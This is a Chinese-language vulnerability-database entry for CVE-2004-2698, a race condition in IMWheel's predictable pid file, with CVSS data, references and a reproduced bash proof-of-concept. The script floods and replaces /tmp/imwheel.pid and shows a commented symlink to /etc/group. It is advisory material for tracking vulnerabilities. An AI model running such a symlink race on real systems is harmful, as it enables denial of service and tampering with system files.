CVE-2004-2698
CVSS6.9
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 00:00:00
NMCOE    

[原文]Race condition in IMWheel 1.0.0pre11 and earlier, when running with the -k option, allows local users to cause a denial of service (IMWheel crash) and possibly modify arbitrary files via a symlink attack on the imwheel.pid file.


[CNNVD]IMWheel预测的临时文件创建漏洞(CNNVD-200412-1164)

        IMWheel 1.0.0pre11以及之前的版本中争用条件存在漏洞。当运行时使用- k选项时,本地用户借助imwheel.pid文件的符号连接攻击导致服务拒绝(IMWheel崩溃
        )并可能导致修改任意文件。

- CVSS (基础分值)

CVSS分值: 6.9 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-362 [使用共享资源的并发执行不恰当同步问题(竞争条件)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2698
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2698
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-1164
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/17082
(UNKNOWN)  XF  imwheel-race-condition(17082)
http://www.securityfocus.com/bid/11008
(UNKNOWN)  BID  11008
http://www.osvdb.org/9111
(UNKNOWN)  OSVDB  9111
http://www.caughq.org/advisories/CAU-2004-0002.txt
(UNKNOWN)  MISC  http://www.caughq.org/advisories/CAU-2004-0002.txt
http://securitytracker.com/id?1011049
(UNKNOWN)  SECTRACK  1011049
http://secunia.com/advisories/12349
(VENDOR_ADVISORY)  SECUNIA  12349
http://imwheel.sourceforge.net/files/DEVELOPMENT.txt
(UNKNOWN)  CONFIRM  http://imwheel.sourceforge.net/files/DEVELOPMENT.txt
http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0914.html
(UNKNOWN)  FULLDISC  20040820 CAU-2004-0002 - imwheel Predictable PidFile Name Race Condition

- 漏洞信息

IMWheel预测的临时文件创建漏洞
中危 竞争条件
2004-12-31 00:00:00 2007-10-09 00:00:00
本地  
        IMWheel 1.0.0pre11以及之前的版本中争用条件存在漏洞。当运行时使用- k选项时,本地用户借助imwheel.pid文件的符号连接攻击导致服务拒绝(IMWheel崩溃
        )并可能导致修改任意文件。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (24398)

IMWheel 1.0 Predictable Temporary File Creation Vulnerability (EDBID:24398)
linux local
2004-08-23 Verified
0 I)ruid
N/A [点击下载]
source: http://www.securityfocus.com/bid/11008/info

IMWheel is reported prone to a predictable temporary file creation vulnerability. This issue is a race condition error and may allow a local attacker to carry out denial of service attacks against other users and possibly gain elevated privileges.

This vulnerability was identified in IMWheel 1.0.0pre11, however, other versions may be affected as well. 

#!/bin/bash

# you may have to adjust the number of characters in the print to
# get the timing correct for the injection. Fewer characters seems
# to prevent this from working. Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.
CHARCOUNT=4000

echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
while [[ $? != 0 ]]; do
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
done

# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/imwheel.pid

# Optionally, replace the new file with a link
# rm /tmp/imwheel.pid
# ln -s /etc/group /tmp/imwheel.pid

echo "Exploit Successful!!!" 		

- 漏洞信息

9111
IMWheel Insecure Temporary File Creation
Local Access Required Race Condition
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

IMWheel contains a flaw that may allow a malicious user to take control of the temporary file on the server. The issue is triggered when IMWheel creates an insecure temporary file (imwheel.pid) which manages the running IMWheel processes. It is possible that the flaw may allow a local attacker to escalate priveleges resulting in a loss of integrity.

- 时间线

2004-08-23 Unknow
2004-08-23 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站